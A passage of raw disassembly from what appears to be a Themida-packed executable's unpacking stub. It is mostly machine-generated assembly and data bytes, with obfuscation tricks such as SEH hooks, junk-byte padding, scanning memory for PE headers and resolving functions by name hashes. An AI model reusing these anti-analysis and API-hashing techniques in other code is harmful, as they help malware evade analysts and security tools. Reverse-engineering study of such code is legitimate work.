0FFFFFFD8h pusha call $+5 pop edx sub edx, 6123621h mov ebx, edx mov [ebp+var_28], 0 loc_54A047: ; CODE XREF: sub_54A02B+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_54A066 mov eax, [ebp+arg_0] mov [ebx+612358Bh], eax inc [ebp+arg_0] inc ebx jmp short loc_54A047 ; --------------------------------------------------------------------------- loc_54A066: ; CODE XREF: sub_54A02B+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_54A02B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54A071 proc near ; CODE XREF: start+69F79p start+69F83p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 612366Ah lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_54A097: ; CODE XREF: sub_54A071+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_54A097 mov [ebp+var_84], 0 lea edi, [edx+612358Bh] lea esi, [ebp+var_80] loc_54A0C7: ; CODE XREF: sub_54A071+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_54A0D3: ; CODE XREF: sub_54A071+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_54A0D3 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_54A0C7 popa leave retn 4 sub_54A071 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_54A111 ; --------------------------------------------------------------------------- loc_54A10D: ; CODE XREF: Themida_:0054A114j inc dword ptr [ebp-4] inc esi loc_54A111: ; CODE XREF: Themida_:0054A10Bj cmp byte ptr [esi], 0 jnz short loc_54A10D mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_54A1A2 ; --------------------------------------------------------------------------- loc_54A123: ; CODE XREF: Themida_:0054A1A5j mov dword ptr [ebp-8], 0 jmp short loc_54A199 ; --------------------------------------------------------------------------- loc_54A12C: ; CODE XREF: Themida_:0054A19Dj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_54A186 ; --------------------------------------------------------------------------- loc_54A13C: ; CODE XREF: Themida_:0054A18Aj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_54A15E cmp bl, 39h ja short loc_54A15E sub bl, 30h jmp short loc_54A180 ; --------------------------------------------------------------------------- loc_54A15E: ; CODE XREF: Themida_:0054A152j ; Themida_:0054A157j cmp bl, 61h jb short loc_54A170 cmp bl, 66h ja short loc_54A170 sub bl, 61h add bl, 0Ah jmp short loc_54A180 ; --------------------------------------------------------------------------- loc_54A170: ; CODE XREF: Themida_:0054A161j ; Themida_:0054A166j cmp bl, 41h jb short loc_54A180 cmp bl, 46h ja short loc_54A180 sub bl, 41h add bl, 0Ah loc_54A180: ; CODE XREF: Themida_:0054A15Cj ; Themida_:0054A16Ej ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_54A186: ; CODE XREF: Themida_:0054A13Aj cmp dword ptr [ebp-0Ch], 2 jb short loc_54A13C cmp dword ptr [ebp-10h], 0 jbe short loc_54A196 mov eax, [ebp-10h] stosb loc_54A196: ; CODE XREF: Themida_:0054A190j inc dword ptr [ebp-8] loc_54A199: ; CODE XREF: Themida_:0054A12Aj cmp dword ptr [ebp-8], 2 jb short loc_54A12C add edx, 4 loc_54A1A2: ; CODE XREF: Themida_:0054A121j cmp edx, [ebp-4] jb loc_54A123 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54A1B5: ; CODE XREF: start+69F88j mov ecx, 7000h lea edi, [ebp+61237B0h] loc_54A1C0: ; CODE XREF: start+6A1B0j dec byte ptr [edi] inc edi dec ecx jnz short loc_54A1C0 mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+61238A4h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov bx, ax mov ebx, edi sub eax, edx push esi jz loc_54A205 and ebx, 7F2697ACh loc_54A205: ; CODE XREF: start+6A1E5j pop ebx and eax, 0FFFFF000h push 0 push edx call sub_54A216 and [edx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_54A216 proc near ; CODE XREF: start+6A1FAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_54A216 endp ; --------------------------------------------------------------------------- jz short near ptr loc_54A268+3 aam 9 xchg eax, ecx test eax, 33CA8BEAh jmp dword ptr [esi-7Fh] ; --------------------------------------------------------------------------- db 38h dd 0E755A4Dh, 3C50B70Fh, 3A81D003h, 4550h, 2D0874h, 47000010h dd 8F64E3EBh, 5, 4C48300h, 38B7958Dh, 64520612h, 35FFh dd 89640000h ; --------------------------------------------------------------------------- loc_54A268: ; CODE XREF: Themida_:0054A226j and eax, 0 add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_54A288 mov esi, [eax+1Ch] loc_54A288: ; CODE XREF: Themida_:0054A283j xor eax, eax loc_54A28A: ; CODE XREF: Themida_:0054A29Dj cmp eax, 32h jz short loc_54A2AE cmp word ptr [esi], 5A4Dh jz short loc_54A29F loc_54A296: ; CODE XREF: Themida_:0054A2ACj sub esi, 10000h inc eax jmp short loc_54A28A ; --------------------------------------------------------------------------- loc_54A29F: ; CODE XREF: Themida_:0054A294j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_54A2F0 jmp short loc_54A296 ; --------------------------------------------------------------------------- loc_54A2AE: ; CODE XREF: Themida_:0054A28Dj pop large dword ptr fs:0 add esp, 4 popa retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 61238C2h lea eax, [ebp+6123880h] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_54A2F0: ; CODE XREF: Themida_:0054A2AAj xchg eax, esi pop large dword ptr fs:0 add esp, 4 mov bl, cl mov bx, 0E5F3h mov cx, ds push 0 push ebp call sub_54A30F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54A30F proc near ; CODE XREF: Themida_:0054A307p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_54A30F endp ; --------------------------------------------------------------------------- db 67h dd 0C7FEE962h, 0E180F895h, 8E804h, 65050000h, 0BD4EBBACh dd 5BFC34B9h, 13820F53h, 0E9000000h, 0Eh, 0E52BE12Ah, 86E82363h dd 7C2D4B36h, 0A5B5411h, 3E850FC9h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 391FC351h, 0C7D88B66h, 1207AD85h, 106h, 66DE8B00h, 16E9DE8Bh dd 0E9000000h, 5, 0DD07536Bh, 0AD85C724h, 61207h, 8A000000h dd 0B18589DDh, 0E9061203h, 9, 3FFF8542h, 3D80D803h, 0E9858939h dd 0E8061230h, 0Ah, 0EA7B9F24h, 70028E81h, 86B63341h, 0DA8B665Fh dd 5C07C781h, 8B0F0000h, 13h, 0EE9h, 0DD127A00h, 537C27C1h dd 73830906h, 2BF699CBh, 5E9F6h, 9B900000h, 8BEAE996h dd 0F563704h, 815AD6B7h, 283237E8h, 0E881F80Bh, 5D625D23h dd 0C9D2E4BAh, 1CE88104h, 0B9017CDEh, 1DFD268Fh, 0B6370489h dd 4EE835Bh, 0C102A7B9h, 80FE8113h, 0FFFFFA4h, 0FFFFC285h dd 0DE9FFh, 0D3120000h, 60E3FEEDh, 83397522h, 0E80B7EA3h dd 10h, 0F13E1106h, 33E936Dh, 0A73228C9h, 9A254204h, 12E8h dd 3512C200h, 72F01BC0h, 0A061D3E6h, 975C901Bh, 525370A4h dd 5859C78Bh, 198B0F5Eh, 0E9000000h, 14h, 76AB46DCh, 4DD9A98Eh dd 0A5A5F55Fh, 2A595E95h, 0E59ACE81h, 6852C681h, 0F58A0000h dd 68h, 0C9805300h, 0E85F5910h, 5, 25072BFBh, 17E5808Dh dd 3734FF5Ah, 5BCFBF0Fh, 0FE851h, 5BF00000h, 51B2CCA9h dd 0C40E09DBh, 2E818A0Ch, 6E99Fh, 0B3450000h, 0D4404A42h dd 0C3815858h, 60270B25h, 88C5B5BAh, 4DF3813Eh, 80181CC5h dd 0EB817DDEh, 3DCBF3F3h, 15850Fh, 10E90000h, 0DB000000h dd 3E19F5ABh, 0E5D2CC49h, 4910B764h, 89E55C9Eh, 8B663E1Ch dd 0F08166D7h, 0EF83F370h, 0E1805004h, 0FF815A65h, 0FFFF98B0h dd 10850Fh, 0E9F80000h, 16h, 33FF6967h, 56C488AEh, 0E58AA0E5h dd 0FFFF6CE9h, 50A477FFh, 4EBD947h, 215h, 6C4E9h, 9E900h dd 37140000h, 51E9DF73h, 60F58060h, 6810Fh, 0B5890000h dd 6122045h, 0B8h, 14E900h, 0C2B20000h, 0C9EAD3E1h, 8837F381h dd 11540D27h, 0BED63E1Ch, 548B46BFh, 89FC2824h, 12187D85h dd 0B850F06h, 60000000h, 89CA8B66h, 12290195h, 3CBE6106h dd 0F5000000h, 24247403h, 0FAD66F8h, 0A86h, 8C0F6000h dd 0 ; --------------------------------------------------------------------------- mov eax, edx popa add eax, [esp+24h] add [ebp+6120CDDh], ebx nop jmp loc_54A5EC ; --------------------------------------------------------------------------- db 97h dd 0BFD3A4D8h ; --------------------------------------------------------------------------- loc_54A5EC: ; CODE XREF: Themida_:0054A5E2j push eax jmp loc_54A606 ; --------------------------------------------------------------------------- dw 0EB2Bh dd 44FBEB02h, 156C18E9h, 315B180Eh, 0F4A49B4Eh ; --------------------------------------------------------------------------- lodsb pop eax loc_54A606: ; CODE XREF: Themida_:0054A5EDj nop clc mov eax, [eax+78h] jmp loc_54A620 ; --------------------------------------------------------------------------- dd 6E271392h, 8658B2FDh, 0DE7D226h, 60AB0894h ; --------------------------------------------------------------------------- loc_54A620: ; CODE XREF: Themida_:0054A60Bj add eax, [esp+28h] sub [ebp+6120E95h], ecx add [ebp+6120015h], ecx mov eax, [eax+18h] jnb loc_54A641 jo loc_54A641 pusha popa loc_54A641: ; CODE XREF: Themida_:0054A633j ; Themida_:0054A639j inc eax jle loc_54A657 jmp loc_54A657 ; --------------------------------------------------------------------------- db 9Eh, 60h, 17h dd 6F0E227Bh db 37h, 0E4h, 0EBh ; --------------------------------------------------------------------------- loc_54A657: ; CODE XREF: Themida_:0054A642j ; Themida_:0054A648j mov [ebp+6123B46h], eax pusha jmp loc_54A672 ; --------------------------------------------------------------------------- db 0AEh dd 29AF5801h, 0DCC28FDFh, 0F281C1Bh db 44h, 0Dh ; --------------------------------------------------------------------------- loc_54A672: ; CODE XREF: Themida_:0054A65Ej ja $+6 popa pop eax mov [ebp+6120661h], esi mov esi, [eax+78h] stc add esi, 1Ch jp loc_54A68E cmc loc_54A68E: ; CODE XREF: Themida_:0054A687j add esi, [esp+24h] jmp loc_54A6A4 ; --------------------------------------------------------------------------- db 94h dd 2E570565h, 2EEF7815h, 129F05DDh ; --------------------------------------------------------------------------- loc_54A6A4: ; CODE XREF: Themida_:0054A692j lea edi, [ebp+6120251h] mov [ebp+6121675h], edi lodsd jmp loc_54A6C0 ; --------------------------------------------------------------------------- dw 8377h dd 0A451E581h, 8FBAF7Ah ; --------------------------------------------------------------------------- loc_54A6C0: ; CODE XREF: Themida_:0054A6B1j add eax, [esp+24h] sub [ebp+6121F79h], edx pusha or [ebp+612176Dh], edi mov esi, [ebp+61217D5h] popa stosd cld lea edi, [ebp+612002Dh] clc lodsd mov [ebp+61201A1h], ecx add eax, [esp+24h] mov [ebp+61221BDh], eax nop jz loc_54A70A jmp loc_54A70A ; --------------------------------------------------------------------------- dw 30D3h dd 116C9481h, 0B7BB2364h db 31h, 12h ; --------------------------------------------------------------------------- loc_54A70A: ; CODE XREF: Themida_:0054A6F3j ; Themida_:0054A6F9j push eax jmp loc_54A724 ; CODE XREF: Themida_:0054A784j ; --------------------------------------------------------------------------- sub ebp, [ebx] push edi test [ecx+edi*2], ch lea edx, [edi-5F8CF571h] cmp eax, 0B51C7619h cld mov dl, dh loc_54A724: ; CODE XREF: Themida_:0054A70Bj nop clc stosd stc jmp loc_54A73A ; --------------------------------------------------------------------------- db 0D3h, 33h, 22h dd 7E137B56h, 0B10B69FBh db 4Fh, 0EFh ; --------------------------------------------------------------------------- loc_54A73A: ; CODE XREF: Themida_:0054A728j lea edi, [ebp+61204CDh] pusha mov [ebp+61201B1h], ecx push ebx and edx, [ebp+6121DE1h] pop ecx popa lodsd pusha jmp loc_54A764 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- aad 0CCh db 3Eh xchg bh, [ecx+edi*4] loc_54A75E: ; CODE XREF: Themida_:0054A786j adc eax, 2A986529h ; --------------------------------------------------------------------------- db 0DAh ; --------------------------------------------------------------------------- loc_54A764: ; CODE XREF: Themida_:0054A752j mov bx, 2549h popa add eax, [esp+28h] jnp loc_54A779 sub [ebp+612292Dh], eax loc_54A779: ; CODE XREF: Themida_:0054A76Dj stosd pusha call near ptr loc_54A788+1 dec ecx stosb loopne loc_54A7F6 jbe short near ptr loc_54A70B+2 jz short loc_54A75E loc_54A788: ; CODE XREF: Themida_:0054A77Bp in al, 89h ; DMA page register 74LS612: ; Channel 6 (address bits 17-23) popf ; --------------------------------------------------------------------------- db 0D9h ; --------------------------------------------------------------------------- push cs adc al, [esi] pop ebx movzx eax, ax popa pop esi or [ebp+61211FDh], ecx loc_54A79B: ; CODE XREF: Themida_:0054A827j dec dword ptr [ebp+6123B46h] cmp dword ptr [ebp+6123B46h], 0 jnz short loc_54A7BA mov dword ptr [esp+1Ch], 0 lea esi, [ebp+612400Ah] jmp esi ; --------------------------------------------------------------------------- loc_54A7BA: ; CODE XREF: Themida_:0054A7A8j push esi lodsd add eax, [esp+28h] xchg eax, edi mov ebx, edi mov al, [ebp+6122871h] test al, al jz short loc_54A7D1 cmp al, [edi] jnz short loc_54A81D loc_54A7D1: ; CODE XREF: Themida_:0054A7CBj push edi xor al, al loc_54A7D4: ; CODE XREF: Themida_:0054A7D5j scasb jnz short loc_54A7D4 pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_54A7E1: ; CODE XREF: Themida_:0054A80Aj xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_54A7F0: ; CODE XREF: Themida_:0054A803j shr bx, 1 rcr ax, 1 loc_54A7F6: ; CODE XREF: Themida_:0054A782j jnb short loc_54A801 xor ax, 5041h xor bx, 5449h loc_54A801: ; CODE XREF: Themida_:loc_54A7F6j dec dh jnz short loc_54A7F0 xor ecx, eax xor edx, ebx dec edi jnz short loc_54A7E1 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_54A82C loc_54A81D: ; CODE XREF: Themida_:0054A7CFj pop esi add esi, 4 inc dword ptr [ebp+612187Dh] jmp loc_54A79B ; --------------------------------------------------------------------------- loc_54A82C: ; CODE XREF: Themida_:0054A81Bj pop esi jb loc_54A83B jl loc_54A83B pusha popa loc_54A83B: ; CODE XREF: Themida_:0054A82Dj ; Themida_:0054A833j jmp loc_54A84C ; --------------------------------------------------------------------------- cmc or eax, 0F55B4CAAh dec ecx mov esi, ecx adc cl, cl pop ecx loc_54A84C: ; CODE XREF: Themida_:loc_54A83Bj cmc pusha sub [ebp+6122C41h], edi mov ecx, [ebp+6120DB1h] popa mov eax, [ebp+612187Dh] cld shl eax, 1 pusha jmp loc_54A879 ; --------------------------------------------------------------------------- dw 0C123h dd 58C0FCADh, 87EE53A4h, 0B9AF283Ch ; --------------------------------------------------------------------------- push esi loc_54A879: ; CODE XREF: Themida_:0054A865j ; Themida_:0054A8B8j mov [ebp+6120325h], esi popa add eax, [ebp+61204CDh] clc xor [ebp+6122875h], esi mov esi, 0 jno loc_54A89E sub [ebp+6120C85h], esi loc_54A89E: ; CODE XREF: Themida_:0054A892j xchg eax, esi stc mov [ebp+6122915h], edx lodsw pusha call sub_54A8C2 mov al, 0CFh and bl, [edx] xchg eax, edx in al, dx and [edx], esp sub al, 1Fh loop near ptr loc_54A879+1 into jmp short loc_54A8E4 ; --------------------------------------------------------------------------- db 0F6h, 0F0h, 0C7h db 0E7h, 28h ; =============== S U B R O U T I N E ======================================= sub_54A8C2 proc near ; CODE XREF: Themida_:0054A8A9p arg_3C = dword ptr 40h arg_44 = dword ptr 48h mov [ebp+6120EF1h], ebx pop edi movsx edx, si popa shl eax, 2 clc add eax, [ebp+6120251h] pusha mov [ebp+61209D5h], edx or [ebp+6122BE1h], edi loc_54A8E4: ; CODE XREF: Themida_:0054A8BBj popa xchg eax, esi jmp loc_54A8F5 ; --------------------------------------------------------------------------- db 0BDh dd 0E9E7BECEh, 90DE5C09h db 19h ; --------------------------------------------------------------------------- loc_54A8F5: ; CODE XREF: sub_54A8C2+24j lodsd jmp loc_54A909 ; --------------------------------------------------------------------------- db 0B6h dd 3B1958BBh, 201F7A74h, 41F32BE7h db 0CCh ; --------------------------------------------------------------------------- loc_54A909: ; CODE XREF: sub_54A8C2+34j mov ecx, [esp-24h+arg_44] xor [ebp+6120961h], ecx add eax, [esp-24h+arg_44] jo loc_54A923 mov [ebp+6123025h], edx loc_54A923: ; CODE XREF: sub_54A8C2+55j mov [esp-24h+arg_3C], eax add [ebp+6121811h], esi xchg eax, esi jnz loc_54A941 jmp loc_54A941 ; --------------------------------------------------------------------------- db 0A5h, 0B3h, 22h dd 789C4AD6h db 0Ch ; --------------------------------------------------------------------------- loc_54A941: ; CODE XREF: sub_54A8C2+6Cj ; sub_54A8C2+72j lodsb mov [ebp+6122ACDh], ecx jnb loc_54A954 mov [ebp+6122E09h], ecx loc_54A954: ; CODE XREF: sub_54A8C2+86j xor cl, cl jle loc_54A964 pusha xor ecx, [ebp+6120339h] popa loc_54A964: ; CODE XREF: sub_54A8C2+94j inc cl pusha mov ecx, [ebp+61228CDh] clc popa loc_54A96F: ; CODE XREF: sub_54A8C2+F5j rcl al, 1 jnb loc_54AA20 xor [ebp+6120E15h], edi rcl al, 1 jnb loc_54AA20 mov [ebp+61223D1h], ebx rcl al, 1 jb loc_54AA20 clc rcl al, 1 jb loc_54AA20 jmp loc_54A9B5 ; --------------------------------------------------------------------------- db 0Eh, 92h, 78h dd 0ECBE05B2h, 0D7D1544Dh, 2A16AE8h, 87210B79h db 79h ; --------------------------------------------------------------------------- loc_54A9B5: ; CODE XREF: sub_54A8C2+DAj dec cl jns loc_54A96F pusha sub [ebp+612240Dh], edi popa add esp, 20h pusha push ecx mov ch, 13h pop eax add ch, 71h popa mov [esp-44h+arg_3C], 0 add [ebp+612068Dh], eax mov eax, 1 jl loc_54A9F0 mov [ebp+6120359h], eax loc_54A9F0: ; CODE XREF: sub_54A8C2+122j lea ecx, [ebp+6127277h] or [ebp+6121051h], esi jmp ecx ; --------------------------------------------------------------------------- pusha push ebx ja $+6 pop esi jbe loc_54AA13 jb $+6 loc_54AA13: ; CODE XREF: sub_54A8C2+145j popa jb loc_54AA20 mov [ebp+61214F1h], esi loc_54AA20: ; CODE XREF: sub_54A8C2+AFj ; sub_54A8C2+BDj ... mov byte ptr [ebp+6122871h], 0 cmc popa cmc mov [ebp+6121859h], ecx retn 8 sub_54A8C2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor [ebp+6122971h], ecx push eax jmp loc_54AA44 ; --------------------------------------------------------------------------- db 67h ; --------------------------------------------------------------------------- cli call fword ptr [edx-1Ch] loc_54AA44: ; CODE XREF: Themida_:0054AA3Aj mov [esp], esi stc mov [ebp+61241E0h], esi pusha mov [ebp+61219C9h], esi popa mov [ebp+61241F4h], ecx pusha popa lea esi, [ebp+61240C4h] jo loc_54AA70 mov [ebp+6121129h], ebx loc_54AA70: ; CODE XREF: Themida_:0054AA64j lea eax, dword_5B8EA1[ebp] jnz loc_54AA82 sub [ebp+6121251h], eax loc_54AA82: ; CODE XREF: Themida_:0054AA76j call eax xor [ebp+6120E09h], ebx pop esi jmp loc_54AA98 ; --------------------------------------------------------------------------- mov edi, 19733905h sbb al, 0A6h dec esi loc_54AA98: ; CODE XREF: Themida_:0054AA8Bj jmp locret_54AAAE ; --------------------------------------------------------------------------- db 40h, 0D6h, 18h dd 8D2F53D3h, 1972FFDh, 866BC567h ; --------------------------------------------------------------------------- pop es push ss locret_54AAAE: ; CODE XREF: Themida_:loc_54AA98j retn ; --------------------------------------------------------------------------- pusha js loc_54AABB mov edi, 0D3EA0C2h loc_54AABB: ; CODE XREF: Themida_:0054AAB0j mov ecx, [ebp+61201DDh] popa jmp loc_54AADA ; --------------------------------------------------------------------------- db 0F3h dd 0C7F7F2AAh, 1EF0B7C4h, 0DE112697h, 0B8A9DF33h db 0EAh, 20h ; --------------------------------------------------------------------------- loc_54AADA: ; CODE XREF: Themida_:0054AAC2j mov esi, [ebp+61241E0h] mov [ebp+6122415h], esi mov [ebp+61204ADh], eax mov ecx, [ebp+61241F4h] pusha mov [ebp+6122039h], esi jmp loc_54AB12 ; --------------------------------------------------------------------------- dw 0AFB0h dd 0EB7B4E51h, 6A45CEF2h, 0C0B323DCh, 2AFCBA9h db 7, 0D2h ; --------------------------------------------------------------------------- loc_54AB12: ; CODE XREF: Themida_:0054AAF9j popa or [ebp+6121A55h], esi mov eax, 0 add [ebp+6121C09h], ecx stc mov ebx, ecx pusha cld sub [ebp+61223C9h], esi popa jmp loc_54ABE1 ; --------------------------------------------------------------------------- cmc jmp loc_54AB4B ; --------------------------------------------------------------------------- db 0ACh dd 946DF881h, 2A1229A8h, 71DD428Ch db 80h, 9Ch, 0CEh ; --------------------------------------------------------------------------- loc_54AB4B: ; CODE XREF: Themida_:0054AB36j ; Themida_:0054ABE3j xor ah, [esi] pusha mov bl, ah mov [ebp+6123009h], esi popa mov dl, 2 mov [ebp+61212B1h], ecx jmp loc_54ABBF ; --------------------------------------------------------------------------- sub [ebp+61222F1h], edx loc_54AB6A: ; CODE XREF: Themida_:0054ABC1j xor al, dl sub [ebp+6120599h], edi add eax, 8A751D7Ah pusha or eax, 6189F086h mov [ebp+6121B55h], edi popa cmc mov cl, ah jmp loc_54ABA1 ; --------------------------------------------------------------------------- db 7Eh, 0Fh, 3Ah dd 8A597E81h, 6AB616ACh, 804340EFh, 2C0EA1BEh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- loc_54ABA1: ; CODE XREF: Themida_:0054AB88j ror eax, cl mov [ebp+61203CDh], eax clc xor eax, 98D10842h pusha xor bl, 0B2h mov dx, ax popa dec dl or [ebp+6121609h], ecx loc_54ABBF: ; CODE XREF: Themida_:0054AB5Fj or dl, dl jnz loc_54AB6A jnb loc_54ABD3 mov [ebp+6122675h], edx loc_54ABD3: ; CODE XREF: Themida_:0054ABC7j dec ebx mov [ebp+6120E41h], edx inc esi or [ebp+6120329h], ebx loc_54ABE1: ; CODE XREF: Themida_:0054AB30j or ebx, ebx jnz loc_54AB4B xor [ebp+6120741h], eax iret ; --------------------------------------------------------------------------- dd 2081BD89h, 612h, 8149B160h, 0C29A6D6h, 6155h, 18B1B589h dd 612h, 0AE9h, 5FDCE600h, 0CE8469CAh, 31F7F9E7h, 123195B5h dd 89000006h, 122B0D8Dh, 5D858D06h, 0E906123Bh, 0Eh, 0F820EAB8h dd 2A027882h, 0A8BE291Ch, 85891F23h, 6121689h, 0C840Fh dd 850F0000h, 6, 820Fh, 858D0000h, 6124023h, 6E9h, 875F4F00h dd 89330057h, 122F6585h, 14EB06h, 3 dup(0) dd 8B000000h, 8D000000h, 12433185h, 0AD858906h, 83061234h dd 124269BDh, 840F0006h, 12Bh, 287185C6h, 0E8560612h, 4 dd 0D41F6D39h, 24448B50h, 89008B04h, 58042444h, 3B1B5FFh dd 858D0612h, 6123B5Dh, 8589D0FFh, 612425Dh, 287185C6h dd 0E8560612h, 4, 9CA8B852h, 24448B50h, 89008B04h, 58042444h dd 3B1B5FFh, 858D0612h, 6123B5Dh, 8589D0FFh, 6124261h dd 0DD68046Ah, 81BE84F6h, 19232404h, 858B417Bh, 612426Dh dd 1F405h, 2E0C100h, 6A905090h, 6195FF00h, 89061242h, 12426585h dd 0B8D88B06h, 0FFFFFFFFh, 34AD95FFh, 0C38B0612h, 34AD95FFh dd 84E90612h, 83000000h, 124269BDh, 850F0006h, 1, 0BD8B57C3h dd 6124265h, 658583ABh, 4061242h, 0BD83C35Fh, 6124269h dd 1850F00h, 0C3000000h, 65AD8360h, 4061242h, 42659D8Bh dd 7B830612h, 850FFFFCh, 1Dh, 70D00768h, 2434811Fh, 1F705007h dd 33FF006Ah, 425D95FFh, 0C3610612h, 1DE9h, 58EC6800h dd 3481563Bh, 3BD8EC24h, 0FF006A56h, 5D95FF33h, 83061242h dd 124265ADh, 0B1E90406h, 48FFFFFFh, 9D3E9h, 23473F00h dd 25C225E5h, 97AFF34Fh, 8D9D91D2h, 2AFA5D5Fh, 0FB4F73C9h dd 39560BBFh, 5F0DB3FEh, 23616271h, 29802EE8h, 0C5B8E147h dd 8A8F8081h, 45B1521Ah, 0F14503AAh, 355716ABh, 5D0DB3ACh dd 23626D77h, 368034E8h, 0C5A7FB5Ah, 91919C9Fh, 2EBF460Dh dd 0E60937C9h, 784616AFh, 4843B2FEh, 23747977h, 37CF32F1h dd 0CBA7F55Ah, 63h dup(0) dd 23473F00h, 39CE2FECh, 0C5B8FB5Ch, 99938B82h, 6FF25E0Dh dd 0B45A32CFh, 775700A8h, 440CA0ACh, 71266876h, 39CE2EF4h dd 8CEAF346h, 9185D99Ch, 3CBF4D0Ah, 0F15D20DEh, 14384BA7h dd 5006AADCh, 232A696Bh, 3FCC2EF4h, 8CEAF049h, 8C9AD986h dd 22BF5210h, 0E6463EC2h, 775345B3h, 5411E6E8h, 7167786Bh dd 3FD960F5h, 95EAE65Dh, 8C9B9680h, 0B1521Eh, 48h dup(0) dd 23473F00h, 33C132E2h, 0C2B8F143h, 9188D981h, 27BF5310h dd 0F60920C6h, 395C00AFh, 5F16A9EAh, 76742C7Ch, 3EC92EEFh dd 8BA3B44Fh, 8B9380D2h, 36EC1F0Dh, 0F94C27D4h, 493F6FE4h dd 4202A3E0h, 7626207Dh, 31CF2CEFh, 91A3B44Ch, 918E9FD2h dd 2AF21F12h, 0ED5B3CCAh, 7D5C04EAh, 4206B4ACh, 77746D6Ch dd 25CF39A1h, 97BAB45Ah, 9F8E9E9Dh, 1112h, 61h dup(0) dd 6A403F00h, 338025EDh, 90B8E647h, 9A998D82h, 1BBF115Eh dd 0B45A3ACFh, 7E5D17BAh, 110EA7FEh, 23756D70h, 3EC525E3h dd 8BABF908h, 9289899Bh, 2BFA4B1Eh, 0F0473287h, 605308EAh dd 3C69A3EEh, 70217871h, 36CE29A1h, 80BEF74Dh, 879ED996h dd 19BF5E5Fh, 0E75C21CEh, 39400AEAh, 5202B4EFh, 2D626973h dd 39C814A1h, 8CACB45Bh, 89DC9C9Eh, 3BB85110h, 0E6462487h dd 775345A1h, 430CABF5h, 227Dh, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_54E577 ; --------------------------------------------------------------------------- push 0 push edi call sub_54B7B4 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54B7B4 proc near ; CODE XREF: Themida_:0054B7ACp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_54B7B4 endp ; --------------------------------------------------------------------------- and [esi+5FDD983Eh], al inc ebp cld add [ebp+6120C31h], edx mov eax, eax mov dx, 0DC02h cmp dword ptr [ebp+6121B91h], 0 jnz short loc_54B7EA cmp dword ptr [ebp+61217DDh], 0 jz short loc_54B7FD loc_54B7EA: ; CODE XREF: Themida_:0054B7DFj push eax push ebx mov eax, eax mov eax, 1 lea ebx, [ebp+614ACB1h] call ebx pop ebx pop eax loc_54B7FD: ; CODE XREF: Themida_:0054B7E8j cmp dword ptr [ebp+61217DDh], 0 jz short loc_54B817 push eax push ebx mov eax, 1 lea ebx, [ebp+614AB62h] call ebx pop ebx pop eax loc_54B817: ; CODE XREF: Themida_:0054B804j adc dl, 69h and edx, 3B0FDBCCh mov eax, eax jmp loc_54B837 ; --------------------------------------------------------------------------- db 2Bh dd 0BCFF0CE7h, 2E104653h, 6499B9B8h ; --------------------------------------------------------------------------- sub ebx, esi movsd loc_54B837: ; CODE XREF: Themida_:0054B822j cmp dword ptr [ebp+6120779h], 0 jz loc_54B9BA sbb ebx, 2056AB47h cmp dword ptr [ebp+6122A7Dh], 0 jz loc_54B9BA adc dx, 48F9h pusha push 0 push edi call sub_54B868 and [edi-3Dh], bl ; =============== S U B R O U T I N E 